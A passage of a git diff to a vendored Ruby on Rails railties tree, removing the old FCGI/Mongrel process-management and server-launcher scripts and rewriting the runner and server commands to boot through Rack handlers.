-end
-
-
-ARGV.options do |opts|
-  opts.banner = "Usage: inspector [options]"
-
-  opts.separator ""
-
-  opts.on <<-EOF
-  Description:
-    Displays system information about Rails dispatchers (or other processes that use pid files) through
-    the ps command.
-
-  Examples:
-    inspector                                             # default ps on all tmp/pids/dispatch.*.pid files
-    inspector -s 'ps -o user,start,majflt,pcpu,vsz -p %s' # custom ps, %s is where the pid is interleaved
-  EOF
-
-  opts.on("  Options:")
-
-  opts.on("-s", "--ps=command", "default: #{OPTIONS[:ps]}", String)           { |v| OPTIONS[:ps] = v }
-  opts.on("-p", "--pidpath=path", "default: #{OPTIONS[:pid_path]}", String)   { |v| OPTIONS[:pid_path] = v }
-  opts.on("-r", "--pattern=pattern", "default: #{OPTIONS[:pattern]}", String) { |v| OPTIONS[:pattern] = v }
-
-  opts.separator ""
-
-  opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
-
-  opts.parse!
-end
-
-Inspector.inspect(OPTIONS[:pid_path], OPTIONS[:pattern])
diff --git a/vendor/rails/railties/lib/commands/process/reaper.rb b/vendor/rails/railties/lib/commands/process/reaper.rb
deleted file mode 100644
index 95175d41..00000000
--- a/vendor/rails/railties/lib/commands/process/reaper.rb
+++ /dev/null
@@ -1,149 +0,0 @@
-require 'optparse'
-require 'net/http'
-require 'uri'
-
-if RUBY_PLATFORM =~ /(:?mswin|mingw)/ then abort("Reaper is only for Unix") end
-
-class Killer
-  class << self
-    # Searches for all processes matching the given keywords, and then invokes
-    # a specific action on each of them. This is useful for (e.g.) reloading a
-    # set of processes:
-    #
-    #   Killer.process(:reload, "/tmp/pids", "dispatcher.*.pid")
-    def process(action, pid_path, pattern, keyword)
-      new(pid_path, pattern, keyword).process(action)
-    end
-
-    # Forces the (rails) application to reload by sending a +HUP+ signal to the
-    # process.
-    def reload(pid)
-      `kill -s HUP #{pid}`
-    end
-
-    # Force the (rails) application to restart by sending a +USR2+ signal to the
-    # process.
-    def restart(pid)
-      `kill -s USR2 #{pid}`
-    end
-
-    # Forces the (rails) application to gracefully terminate by sending a
-    # +TERM+ signal to the process.
-    def graceful(pid)
-      `kill -s TERM #{pid}`
-    end
-
-    # Forces the (rails) application to terminate immediately by sending a -9
-    # signal to the process.
-    def kill(pid)
-      `kill -9 #{pid}`
-    end
-
-    # Send a +USR1+ signal to the process.
-    def usr1(pid)
-      `kill -s USR1 #{pid}`
-    end
-  end
-
-  def initialize(pid_path, pattern, keyword=nil)
-    @pid_path, @pattern, @keyword = pid_path, pattern, keyword
-  end
-
-  def process(action)
-    pids = find_processes
-
-    if pids.empty?
-      warn "Couldn't find any pid file in '#{@pid_path}' matching '#{@pattern}'"
-      warn "(also looked for processes matching #{@keyword.inspect})" if @keyword
-    else
-      pids.each do |pid|
-        puts "#{action.capitalize}ing #{pid}"
-        self.class.send(action, pid)
-      end
-      
-      delete_pid_files if terminating?(action)
-    end      
-  end
-  
-  private
-    def terminating?(action)
-      [ "kill", "graceful" ].include?(action)
-    end
-  
-    def find_processes
-      files = pid_files
-      if files.empty?
-        find_processes_via_grep
-      else
-        files.collect { |pid_file| File.read(pid_file).to_i }
-      end
-    end
-
-    def find_processes_via_grep
-      lines = `ps axww -o 'pid command' | grep #{@keyword}`.split(/\n/).
-        reject { |line| line =~ /inq|ps axww|grep|spawn-fcgi|spawner|reaper/ }
-      lines.map { |line| line[/^\s*(\d+)/, 1].to_i }
-    end
-    
-    def delete_pid_files
-      pid_files.each { |pid_file| File.delete(pid_file) }
-    end
-    
-    def pid_files
-      Dir.glob(@pid_path + "/" + @pattern)
-    end
-end
-
-
-OPTIONS = {
-  :action     => "restart",
-  :pid_path   => File.expand_path(RAILS_ROOT + '/tmp/pids'),
-  :pattern    => "dispatch.[0-9]*.pid",
-  :dispatcher => File.expand_path("#{RAILS_ROOT}/public/dispatch.fcgi")
-}
-
-ARGV.options do |opts|
-  opts.banner = "Usage: reaper [options]"
-
-  opts.separator ""
-
-  opts.on <<-EOF
-  Description:
-    The reaper is used to restart, reload, gracefully exit, and forcefully exit processes
-    running a Rails Dispatcher (or any other process responding to the same signals). This
-    is commonly done when a new version of the application is available, so the existing
-    processes can be updated to use the latest code.
-
-    It uses pid files to work on the processes and by default assume them to be located
-    in RAILS_ROOT/tmp/pids. 
-
-    The reaper actions are:
-
-    * restart : Restarts the application by reloading both application and framework code
-    * reload  : Only reloads the application, but not the framework (like the development environment)
-    * graceful: Marks all of the processes for exit after the next request
-    * kill    : Forcefully exists all processes regardless of whether they're currently serving a request
-
-    Restart is the most common and default action.
-
-  Examples:
-    reaper                  # restarts the default dispatchers
-    reaper -a reload        # reload the default dispatchers
-    reaper -a kill -r *.pid # kill all processes that keep pids in tmp/pids
-  EOF
-
-  opts.on("  Options:")
-
-  opts.on("-a", "--action=name", "reload|graceful|kill (default: #{OPTIONS[:action]})", String)  { |v| OPTIONS[:action] = v }
-  opts.on("-p", "--pidpath=path", "default: #{OPTIONS[:pid_path]}", String)                      { |v| OPTIONS[:pid_path] = v }
-  opts.on("-r", "--pattern=pattern", "default: #{OPTIONS[:pattern]}", String)                    { |v| OPTIONS[:pattern] = v }
-  opts.on("-d", "--dispatcher=path", "DEPRECATED. default: #{OPTIONS[:dispatcher]}", String)     { |v| OPTIONS[:dispatcher] = v }
-
-  opts.separator ""
-
-  opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
-
-  opts.parse!
-end
-
-Killer.process(OPTIONS[:action], OPTIONS[:pid_path], OPTIONS[:pattern], OPTIONS[:dispatcher])
diff --git a/vendor/rails/railties/lib/commands/process/spawner.rb b/vendor/rails/railties/lib/commands/process/spawner.rb
deleted file mode 100644
index 8bf47abb..00000000
--- a/vendor/rails/railties/lib/commands/process/spawner.rb
+++ /dev/null
@@ -1,219 +0,0 @@
-require 'active_support'
-require 'optparse'
-require 'socket'
-require 'fileutils'
-
-def daemonize #:nodoc:
-  exit if fork                   # Parent exits, child continues.
-  Process.setsid                 # Become session leader.
-  exit if fork                   # Zap session leader. See [1].
-  Dir.chdir "/"                  # Release old working directory.
-  File.umask 0000                # Ensure sensible umask. Adjust as needed.
-  STDIN.reopen "/dev/null"       # Free file descriptors and
-  STDOUT.reopen "/dev/null", "a" # point them somewhere sensible.
-  STDERR.reopen STDOUT           # STDOUT/ERR should better go to a logfile.
-end
-
-class Spawner
-  def self.record_pid(name = "#{OPTIONS[:process]}.spawner", id = Process.pid)
-    FileUtils.mkdir_p(OPTIONS[:pids])
-    File.open(File.expand_path(OPTIONS[:pids] + "/#{name}.pid"), "w+") { |f| f.write(id) }
-  end
-
-  def self.spawn_all
-    OPTIONS[:instances].times do |i|
-      port = OPTIONS[:port] + i
-      print "Checking if something is already running on #{OPTIONS[:address]}:#{port}..."
-
-      begin
-        srv = TCPServer.new(OPTIONS[:address], port)
-        srv.close
-        srv = nil
-
-        puts "NO"
-        puts "Starting dispatcher on port: #{OPTIONS[:address]}:#{port}"
-
-        FileUtils.mkdir_p(OPTIONS[:pids])
-        spawn(port)
-      rescue
-        puts "YES"
-      end
-    end
-  end
-end
-
-class FcgiSpawner < Spawner
-  def self.spawn(port)
-    cmd = "#{OPTIONS[:spawner]} -f #{OPTIONS[:dispatcher]} -p #{port} -P #{OPTIONS[:pids]}/#{OPTIONS[:process]}.#{port}.pid"
-    cmd << " -a #{OPTIONS[:address]}" if can_bind_to_custom_address?
-    system(cmd)
-  end
-
-  def self.can_bind_to_custom_address?
-    @@can_bind_to_custom_address ||= /^\s-a\s/.match `#{OPTIONS[:spawner]} -h`
-  end
-end
-
-class MongrelSpawner < Spawner
-  def self.spawn(port)
-    cmd =
-      "mongrel_rails start -d " +
-      "-a #{OPTIONS[:address]} " +
-      "-p #{port} " +
-      "-P #{OPTIONS[:pids]}/#{OPTIONS[:process]}.#{port}.pid " +
-      "-e #{OPTIONS[:environment]} " +
-      "-c #{OPTIONS[:rails_root]} " +
-      "-l #{OPTIONS[:rails_root]}/log/mongrel.log"
-
-    # Add prefix functionality to spawner's call to mongrel_rails
-    # Digging through mongrel's project subversion server, the earliest
-    # Tag that has prefix implemented in the bin/mongrel_rails file
-    # is 0.3.15 which also happens to be the earliest tag listed.
-    # References: http://mongrel.rubyforge.org/svn/tags
-    if Mongrel::Const::MONGREL_VERSION.to_f >=0.3 && !OPTIONS[:prefix].nil?
-      cmd = cmd + " --prefix #{OPTIONS[:prefix]}"
-    end
-    system(cmd)
-  end
-  
-  def self.can_bind_to_custom_address?
-    true
-  end
-end
-
-
-begin
-  require_library_or_gem 'fcgi'
-rescue Exception
-  # FCGI not available
-end
-
-begin
-  require_library_or_gem 'mongrel'
-rescue Exception
-  # Mongrel not available
-end
-
-server = case ARGV.first
-  when "fcgi", "mongrel"
-    ARGV.shift
-  else
-    if defined?(Mongrel)
-      "mongrel"
-    elsif RUBY_PLATFORM !~ /(:?mswin|mingw)/ && !silence_stderr { `spawn-fcgi -version` }.blank? && defined?(FCGI)
-      "fcgi"
-    end
-end
-
-case server
-  when "fcgi"
-    puts "=> Starting FCGI dispatchers"
-    spawner_class = FcgiSpawner
-  when "mongrel"
-    puts "=> Starting mongrel dispatchers"
-    spawner_class = MongrelSpawner
-  else
-    puts "Neither FCGI (spawn-fcgi) nor Mongrel was installed and available!"
-    exit(0)
-end
-
-
-
-OPTIONS = {
-  :environment => "production",
-  :spawner     => '/usr/bin/env spawn-fcgi',
-  :dispatcher  => File.expand_path(RELATIVE_RAILS_ROOT + '/public/dispatch.fcgi'),
-  :pids        => File.expand_path(RELATIVE_RAILS_ROOT + "/tmp/pids"),
-  :rails_root  => File.expand_path(RELATIVE_RAILS_ROOT),
-  :process     => "dispatch",
-  :port        => 8000,
-  :address     => '0.0.0.0',
-  :instances   => 3,
-  :repeat      => nil,
-  :prefix      => nil
-}
-
-ARGV.options do |opts|
-  opts.banner = "Usage: spawner [platform] [options]"
-
-  opts.separator ""
-
-  opts.on <<-EOF
-  Description:
-    The spawner is a wrapper for spawn-fcgi and mongrel that makes it
-    easier to start multiple processes running the Rails dispatcher. The
-    spawn-fcgi command is included with the lighttpd web server, but can
-    be used with both Apache and lighttpd (and any other web server
-    supporting externally managed FCGI processes). Mongrel automatically
-    ships with with mongrel_rails for starting dispatchers.
-
-    The first choice you need to make is whether to spawn the Rails
-    dispatchers as FCGI or Mongrel. By default, this spawner will prefer
-    Mongrel, so if that's installed, and no platform choice is made,
-    Mongrel is used.
-
-    Then decide a starting port (default is 8000) and the number of FCGI
-    process instances you'd like to run. So if you pick 9100 and 3
-    instances, you'll start processes on 9100, 9101, and 9102.
-
-    By setting the repeat option, you get a protection loop, which will
-    attempt to restart any FCGI processes that might have been exited or
-    outright crashed.
-
-    You can select bind address for started processes. By default these
-    listen on every interface. For single machine installations you would
-    probably want to use 127.0.0.1, hiding them form the outside world.
-
-     Examples:
-       spawner               # starts instances on 8000, 8001, and 8002
-                             # using Mongrel if available.
-       spawner fcgi          # starts instances on 8000, 8001, and 8002
-                             # using FCGI.
-       spawner mongrel -i 5  # starts instances on 8000, 8001, 8002,
-                             # 8003, and 8004 using Mongrel.
-       spawner -p 9100 -i 10 # starts 10 instances counting from 9100 to
-                             # 9109 using Mongrel if available.
-       spawner -p 9100 -r 5  # starts 3 instances counting from 9100 to
-                             # 9102 and attempts start them every 5
-                             # seconds.
-       spawner -a 127.0.0.1  # starts 3 instances binding to localhost
-  EOF
-
-  opts.on("  Options:")
-
-  opts.on("-p", "--port=number",      Integer, "Starting port number (default: #{OPTIONS[:port]})")                { |v| OPTIONS[:port] = v }
-
-  if spawner_class.can_bind_to_custom_address?
-    opts.on("-a", "--address=ip",     String,  "Bind to IP address (default: #{OPTIONS[:address]})")                { |v| OPTIONS[:address] = v }
-  end
-
-  opts.on("-p", "--port=number",      Integer, "Starting port number (default: #{OPTIONS[:port]})")                { |v| OPTIONS[:port] = v }
-  opts.on("-i", "--instances=number", Integer, "Number of instances (default: #{OPTIONS[:instances]})")            { |v| OPTIONS[:instances] = v }
-  opts.on("-r", "--repeat=seconds",   Integer, "Repeat spawn attempts every n seconds (default: off)")             { |v| OPTIONS[:repeat] = v }
-  opts.on("-e", "--environment=name", String,  "test|development|production (default: #{OPTIONS[:environment]})")  { |v| OPTIONS[:environment] = v }
-  opts.on("-P", "--prefix=path",      String,  "URL prefix for Rails app. [Used only with Mongrel > v0.3.15]: (default: #{OPTIONS[:prefix]})")         { |v| OPTIONS[:prefix] = v }
-  opts.on("-n", "--process=name",     String,  "default: #{OPTIONS[:process]}")                                    { |v| OPTIONS[:process] = v }
-  opts.on("-s", "--spawner=path",     String,  "default: #{OPTIONS[:spawner]}")                                    { |v| OPTIONS[:spawner] = v }
-  opts.on("-d", "--dispatcher=path",  String,  "default: #{OPTIONS[:dispatcher]}") { |dispatcher| OPTIONS[:dispatcher] = File.expand_path(dispatcher) }
-
-  opts.separator ""
-
-  opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
-
-  opts.parse!
-end
-
-ENV["RAILS_ENV"] = OPTIONS[:environment]
-
-if OPTIONS[:repeat]
-  daemonize
-  trap("TERM") { exit }
-  spawner_class.record_pid
-
-  loop do
-    spawner_class.spawn_all
-    sleep(OPTIONS[:repeat])
-  end
-else
-  spawner_class.spawn_all
-end
diff --git a/vendor/rails/railties/lib/commands/process/spinner.rb b/vendor/rails/railties/lib/commands/process/spinner.rb
deleted file mode 100644
index c0b2f09a..00000000
--- a/vendor/rails/railties/lib/commands/process/spinner.rb
+++ /dev/null
@@ -1,57 +0,0 @@
-require 'optparse'
-
-def daemonize #:nodoc:
-  exit if fork                   # Parent exits, child continues.
-  Process.setsid                 # Become session leader.
-  exit if fork                   # Zap session leader. See [1].
-  Dir.chdir "/"                  # Release old working directory.
-  File.umask 0000                # Ensure sensible umask. Adjust as needed.
-  STDIN.reopen "/dev/null"       # Free file descriptors and
-  STDOUT.reopen "/dev/null", "a" # point them somewhere sensible.
-  STDERR.reopen STDOUT           # STDOUT/ERR should better go to a logfile.
-end
-
-OPTIONS = {
-  :interval => 5.0,
-  :command  => File.expand_path(RAILS_ROOT + '/script/process/spawner'),
-  :daemon   => false
-}
-
-ARGV.options do |opts|
-  opts.banner = "Usage: spinner [options]"
-
-  opts.separator ""
-
-  opts.on <<-EOF
-  Description:
-    The spinner is a protection loop for the spawner, which will attempt to restart any FCGI processes
-    that might have been exited or outright crashed. It's a brute-force attempt that'll just try
-    to run the spawner every X number of seconds, so it does pose a light load on the server.
-
-  Examples:
-    spinner # attempts to run the spawner with default settings every second with output on the terminal
-    spinner -i 3 -d # only run the spawner every 3 seconds and detach from the terminal to become a daemon
-    spinner -c '/path/to/app/script/process/spawner -p 9000 -i 10' -d # using custom spawner
-  EOF
-
-  opts.on("  Options:")
-
-  opts.on("-c", "--command=path",    String) { |v| OPTIONS[:command] = v }
-  opts.on("-i", "--interval=seconds", Float) { |v| OPTIONS[:interval] = v }
-  opts.on("-d", "--daemon")                  { |v| OPTIONS[:daemon] = v }
-
-  opts.separator ""
-
-  opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
-
-  opts.parse!
-end
-
-daemonize if OPTIONS[:daemon]
-
-trap(OPTIONS[:daemon] ? "TERM" : "INT") { exit }
-
-loop do
-  system(OPTIONS[:command])
-  sleep(OPTIONS[:interval])
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/commands/runner.rb b/vendor/rails/railties/lib/commands/runner.rb
index 14159c38..51012831 100644
--- a/vendor/rails/railties/lib/commands/runner.rb
+++ b/vendor/rails/railties/lib/commands/runner.rb
@@ -38,11 +38,17 @@ RAILS_ENV.replace(options[:environment]) if defined?(RAILS_ENV)
 
 require RAILS_ROOT + '/config/environment'
 
-if code_or_file.nil?
-  $stderr.puts "Run '#{$0} -h' for help."
-  exit 1
-elsif File.exist?(code_or_file)
-  eval(File.read(code_or_file), nil, code_or_file)
-else
-  eval(code_or_file)
+begin
+  if code_or_file.nil?
+    $stderr.puts "Run '#{$0} -h' for help."
+    exit 1
+  elsif File.exist?(code_or_file)
+    eval(File.read(code_or_file), nil, code_or_file)
+  else
+    eval(code_or_file)
+  end
+ensure
+  if defined? Rails
+    Rails.logger.flush if Rails.logger.respond_to?(:flush)
+  end
 end
diff --git a/vendor/rails/railties/lib/commands/server.rb b/vendor/rails/railties/lib/commands/server.rb
index 15f417b5..ebe34a42 100644
--- a/vendor/rails/railties/lib/commands/server.rb
+++ b/vendor/rails/railties/lib/commands/server.rb
@@ -1,49 +1,114 @@
 require 'active_support'
+require 'action_controller'
+
 require 'fileutils'
+require 'optparse'
 
-begin
-  require_library_or_gem 'fcgi'
-rescue Exception
-  # FCGI not available
-end
-
-begin
-  require_library_or_gem 'mongrel'
-rescue Exception
-  # Mongrel not available
-end
-
+# TODO: Push Thin adapter upstream so we don't need worry about requiring it
 begin
   require_library_or_gem 'thin'
 rescue Exception
   # Thin not available
 end
 
-server = case ARGV.first
-  when "lighttpd", "mongrel", "new_mongrel", "webrick", "thin"
-    ARGV.shift
-  else
-    if defined?(Mongrel)
-      "mongrel"
-    elsif defined?(Thin)
-      "thin"
-    elsif RUBY_PLATFORM !~ /(:?mswin|mingw)/ && !silence_stderr { `lighttpd -version` }.blank? && defined?(FCGI)
-      "lighttpd"
-    else
-      "webrick"
+options = {
+  :Port        => 3000,
+  :Host        => "0.0.0.0",
+  :environment => (ENV['RAILS_ENV'] || "development").dup,
+  :config      => RAILS_ROOT + "/config.ru",
+  :detach      => false,
+  :debugger    => false,
+  :path        => nil
+}
+
+ARGV.clone.options do |opts|
+  opts.on("-p", "--port=port", Integer,
+          "Runs Rails on the specified port.", "Default: 3000") { |v| options[:Port] = v }
+  opts.on("-b", "--binding=ip", String,
+          "Binds Rails to the specified ip.", "Default: 0.0.0.0") { |v| options[:Host] = v }
+  opts.on("-c", "--config=file", String,
+          "Use custom rackup configuration file") { |v| options[:config] = v }
+  opts.on("-d", "--daemon", "Make server run as a Daemon.") { options[:detach] = true }
+  opts.on("-u", "--debugger", "Enable ruby-debugging for the server.") { options[:debugger] = true }
+  opts.on("-e", "--environment=name", String,
+          "Specifies the environment to run this server under (test/development/production).",
+          "Default: development") { |v| options[:environment] = v }
+  opts.on("-P", "--path=/path", String, "Runs Rails app mounted at a specific path.", "Default: /") { |v| options[:path] = v }
+
+  opts.separator ""
+
+  opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
+
+  opts.parse!
+end
+
+server = Rack::Handler.get(ARGV.first) rescue nil
+unless server
+  begin
+    server = Rack::Handler::Mongrel
+  rescue LoadError => e
+    server = Rack::Handler::WEBrick
+  end
+end
+
+puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
+puts "=> Rails #{Rails.version} application starting on http://#{options[:Host]}:#{options[:Port]}#{options[:path]}"
+
+%w(cache pids sessions sockets).each do |dir_to_make|
+  FileUtils.mkdir_p(File.join(RAILS_ROOT, 'tmp', dir_to_make))
+end
+
+if options[:detach]
+  Process.daemon
+  pid = "#{RAILS_ROOT}/tmp/pids/server.pid"
+  File.open(pid, 'w'){ |f| f.write(Process.pid) }
+  at_exit { File.delete(pid) if File.exist?(pid) }
+end
+
+ENV["RAILS_ENV"] = options[:environment]
+RAILS_ENV.replace(options[:environment]) if defined?(RAILS_ENV)
+
+if File.exist?(options[:config])
+  config = options[:config]
+  if config =~ /\.ru$/
+    cfgfile = File.read(config)
+    if cfgfile[/^#\\(.*)/]
+      opts.parse!($1.split(/\s+/))
     end
+    inner_app = eval("Rack::Builder.new {( " + cfgfile + "\n )}.to_app", nil, config)
+  else
+    require config
+    inner_app = Object.const_get(File.basename(config, '.rb').capitalize)
+  end
+else
+  require RAILS_ROOT + "/config/environment"
+  inner_app = ActionController::Dispatcher.new
 end
 
-case server
-  when "webrick"
-    puts "=> Booting WEBrick..."
-  when "lighttpd"
-    puts "=> Booting lighttpd (use 'script/server webrick' to force WEBrick)"
-  when "mongrel", "new_mongrel"
-    puts "=> Booting Mongrel (use 'script/server webrick' to force WEBrick)"
-  when "thin"
-    puts "=> Booting Thin (use 'script/server webrick' to force WEBrick)"
+if options[:path].nil?
+  map_path = "/"
+else
+  ActionController::Base.relative_url_root = options[:path]
+  map_path = options[:path]
 end
 
-%w(cache pids sessions sockets).each { |dir_to_make| FileUtils.mkdir_p(File.join(RAILS_ROOT, 'tmp', dir_to_make)) }
-require "commands/servers/#{server}"
+app = Rack::Builder.new {
+  use Rails::Rack::LogTailer unless options[:detach]
+  use Rails::Rack::Debugger if options[:debugger]
+  map map_path do
+    use Rails::Rack::Static 
+    run inner_app
+  end
+}.to_app
+
+puts "=> Call with -d to detach"
+
+trap(:INT) { exit }
+
+puts "=> Ctrl-C to shutdown server"
+
+begin
+  server.run(app, options.merge(:AccessLog => []))
+ensure
+  puts 'Exiting'
+end
diff --git a/vendor/rails/railties/lib/commands/servers/base.rb b/vendor/rails/railties/lib/commands/servers/base.rb
deleted file mode 100644
index 23be169a..00000000
--- a/vendor/rails/railties/lib/commands/servers/base.rb
+++ /dev/null
@@ -1,31 +0,0 @@
-def tail(log_file)
-  cursor = File.size(log_file)
-  last_checked = Time.now
-  tail_thread = Thread.new do
-    File.open(log_file, 'r') do |f|
-      loop do
-        f.seek cursor
-        if f.mtime > last_checked
-          last_checked = f.mtime
-          contents = f.read
-          cursor += contents.length
-          print contents
-        end
-        sleep 1
-      end
-    end
-  end
-  tail_thread
-end
-
-def start_debugger
-  begin
-    require_library_or_gem 'ruby-debug'
-    Debugger.start
-    Debugger.settings[:autoeval] = true if Debugger.respond_to?(:settings)
-    puts "=> Debugger enabled"
-  rescue Exception
-    puts "You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'"
-    exit
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/commands/servers/lighttpd.rb b/vendor/rails/railties/lib/commands/servers/lighttpd.rb
deleted file mode 100644
index c9d13e86..00000000
--- a/vendor/rails/railties/lib/commands/servers/lighttpd.rb
+++ /dev/null
@@ -1,94 +0,0 @@
-require 'rbconfig'
-require 'commands/servers/base'
-
-unless RUBY_PLATFORM !~ /mswin/ && !silence_stderr { `lighttpd -version` }.blank?
-  puts "PROBLEM: Lighttpd is not available on your system (or not in your path)"
-  exit 1
-end
-
-unless defined?(FCGI)
-  puts "PROBLEM: Lighttpd requires that the FCGI Ruby bindings are installed on the system"
-  exit 1
-end
-
-require 'initializer'
-configuration = Rails::Initializer.run(:initialize_logger).configuration
-default_config_file = config_file = Pathname.new("#{RAILS_ROOT}/config/lighttpd.conf").cleanpath
-
-require 'optparse'
-
-detach = false
-command_line_port = nil
-
-ARGV.options do |opt|
-  opt.on("-p", "--port=port", "Changes the server.port number in the config/lighttpd.conf") { |port| command_line_port = port }
-  opt.on('-c', "--config=#{config_file}", 'Specify a different lighttpd config file.') { |path| config_file = path }
-  opt.on('-h', '--help', 'Show this message.') { puts opt; exit 0 }
-  opt.on('-d', '-d', 'Call with -d to detach') { detach = true; puts "=> Configuration in config/lighttpd.conf" }
-  opt.parse!
-end
-
-unless File.exist?(config_file)
-  if config_file != default_config_file
-    puts "=> #{config_file} not found."
-    exit 1
-  end
-
-  require 'fileutils'
-
-  source = File.expand_path(File.join(File.dirname(__FILE__),
-     "..", "..", "..", "configs", "lighttpd.conf"))
-  puts "=> #{config_file} not found, copying from #{source}"
-
-  FileUtils.cp(source, config_file)
-end
-
-# open the config/lighttpd.conf file and add the current user defined port setting to it
-if command_line_port
-  File.open(config_file, 'r+') do |config|
-    lines = config.readlines
-
-    lines.each do |line|
-      line.gsub!(/^\s*server.port\s*=\s*(\d+)/, "server.port = #{command_line_port}")
-    end
-
-    config.rewind
-    config.print(lines)
-    config.truncate(config.pos)
-  end
-end
-
-config = IO.read(config_file)
-default_port, default_ip = 3000, '0.0.0.0'
-port = config.scan(/^\s*server.port\s*=\s*(\d+)/).first rescue default_port
-ip   = config.scan(/^\s*server.bind\s*=\s*"([^"]+)"/).first rescue default_ip
-puts "=> Rails #{Rails.version} application starting on http://#{ip || default_ip}:#{port || default_port}"
-
-tail_thread = nil
-
-if !detach
-  puts "=> Call with -d to detach"
-  puts "=> Ctrl-C to shutdown server (see config/lighttpd.conf for options)"
-  detach = false
-  tail_thread = tail(configuration.log_path)
-end
-
-trap(:INT) { exit }
-
-begin
-  `rake tmp:sockets:clear` # Needed if lighttpd crashes or otherwise leaves FCGI sockets around
-  `lighttpd #{!detach ? "-D " : ""}-f #{config_file}`
-ensure
-  unless detach
-    tail_thread.kill if tail_thread
-    puts 'Exiting'
-  
-    # Ensure FCGI processes are reaped
-    silence_stream(STDOUT) do
-      ARGV.replace ['-a', 'kill']
-      require 'commands/process/reaper'
-    end
-
-    `rake tmp:sockets:clear` # Remove sockets on clean shutdown
-  end
-end
diff --git a/vendor/rails/railties/lib/commands/servers/mongrel.rb b/vendor/rails/railties/lib/commands/servers/mongrel.rb
deleted file mode 100644
index 7bb110f6..00000000
--- a/vendor/rails/railties/lib/commands/servers/mongrel.rb
+++ /dev/null
@@ -1,69 +0,0 @@
-require 'rbconfig'
-require 'commands/servers/base'
-
-unless defined?(Mongrel)
-  puts "PROBLEM: Mongrel is not available on your system (or not in your path)"
-  exit 1
-end
-
-require 'optparse'
-
-OPTIONS = {
-  :port        => 3000,
-  :ip          => "0.0.0.0",
-  :environment => (ENV['RAILS_ENV'] || "development").dup,
-  :detach      => false,
-  :debugger    => false
-}
-
-ARGV.clone.options do |opts|
-  opts.on("-p", "--port=port", Integer, "Runs Rails on the specified port.", "Default: 3000") { |v| OPTIONS[:port] = v }
-  opts.on("-b", "--binding=ip", String, "Binds Rails to the specified ip.", "Default: 0.0.0.0") { |v| OPTIONS[:ip] = v }
-  opts.on("-d", "--daemon", "Make server run as a Daemon.") { OPTIONS[:detach] = true }
-  opts.on("-u", "--debugger", "Enable ruby-debugging for the server.") { OPTIONS[:debugger] = true }
-  opts.on("-e", "--environment=name", String,
-          "Specifies the environment to run this server under (test/development/production).",
-          "Default: development") { |v| OPTIONS[:environment] = v }
-
-  opts.separator ""
-
-  opts.on("-h", "--help", "Show this help message.") { puts opts; exit }
-
-  opts.parse!
-end
-
-puts "=> Rails #{Rails.version} application starting on http://#{OPTIONS[:ip]}:#{OPTIONS[:port]}"
-
-parameters = [
-  "start",
-  "-p", OPTIONS[:port].to_s,
-  "-a", OPTIONS[:ip].to_s,
-  "-e", OPTIONS[:environment],
-  "-P", "#{RAILS_ROOT}/tmp/pids/mongrel.pid"
-]
-
-if OPTIONS[:detach]
-  `mongrel_rails #{parameters.join(" ")} -d`
-else
-  ENV["RAILS_ENV"] = OPTIONS[:environment]
-  RAILS_ENV.replace(OPTIONS[:environment]) if defined?(RAILS_ENV)
-
-  start_debugger if OPTIONS[:debugger]
-
-  puts "=> Call with -d to detach"
-  puts "=> Ctrl-C to shutdown server"
-
-  log = Pathname.new("#{File.expand_path(RAILS_ROOT)}/log/#{RAILS_ENV}.log").cleanpath
-  open(log, (File::WRONLY | File::APPEND | File::CREAT)) unless File.exist? log
-  tail_thread = tail(log)
-
-  trap(:INT) { exit }
-
-  begin
-    silence_warnings { ARGV = parameters }
-    load("mongrel_rails")
-  ensure
-    tail_thread.kill if tail_thread
-    puts 'Exiting'
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/railties/lib/commands/servers/new_mongrel.rb b/vendor/rails/railties/lib/commands/servers/new_mongrel.rb
deleted file mode 100644
index 174dbf8a..00000000
--- a/vendor/rails/railties/lib/commands/servers/new_mongrel.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-unless defined?(Mongrel)
-  abort "PROBLEM: Mongrel is not available on your system (or not in your path)"
-end
-
-require 'rails/mongrel_server/commands'
-
-GemPlugin::Manager.instance.load "rails::mongrel" => GemPlugin::INCLUDE, "rails" => GemPlugin::EXCLUDE
-
-case ARGV[0] ||= 'start'
-when 'start', 'stop', 'restart'
-  ARGV[0] = "rails::mongrelserver::#{ARGV[0]}"
-end
-
-if not Mongrel::Command::Registry.instance.run ARGV
-  exit 1
-end
diff --git a/vendor/rails/railties/lib/commands/servers/thin.rb b/vendor/rails/railties/lib/commands/servers/thin.rb
deleted file mode 100644
index 833469ca..00000000
--- a/vendor/rails/railties/lib/commands/servers/thin.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-require 'rbconfig'
-require 'commands/servers/base'
-require 'thin'
-
-
-options = ARGV.clone
-options.insert(0,'start') unless Thin::Runner.commands.include?(options[0])
-
-thin = Thin::Runner.new(options)
-
-puts "=> Rails #{Rails.version} application starting on http://#{thin.options[:address]}:#{thin.options[:port]}"
-puts "=> Ctrl-C to shutdown server"
-
-log = Pathname.new("#{File.expand_path(RAILS_ROOT)}/log/#{RAILS_ENV}.log").cleanpath
-open(log, (File::WRONLY | File::APPEND | File::CREAT)) unless File.exist? log
-tail_thread = tail(log)
-trap(:INT) { exit }
-
-begin
-  thin.run!
-ensure
-  tail_thread.kill if tail_thread
-  puts 'Exiting'
-end
-
diff --git a/vendor/rails/railties/lib/commands/servers/webrick.rb b/vendor/rails/railties/lib/commands/servers/webrick.rb
deleted file mode 100644
index 18c8897c..00000000
--- a/vendor/rails/railties/lib/commands/servers/webrick.rb
+++ /dev/null
@@ -1,66 +0,0 @@
-require 'webrick'
-require 'optparse'
-require 'commands/servers/base'
-
-OPTIONS = {
-  :port         => 3000,
-  :ip           => "0.0.0.0",
-  :environment  => (ENV['RAILS_ENV'] || "development").dup,
-  :server_root  => File.expand_path(RAILS_ROOT + "/public/"),
-  :server_type  => WEBrick::SimpleServer,
-  :charset      => "UTF-8",
-  :mime_types   => WEBrick::HTTPUtils::DefaultMimeTypes,
-  :debugger     => false
-  
-}
-
-ARGV.options do |opts|
-  script_name = File.basename($0)
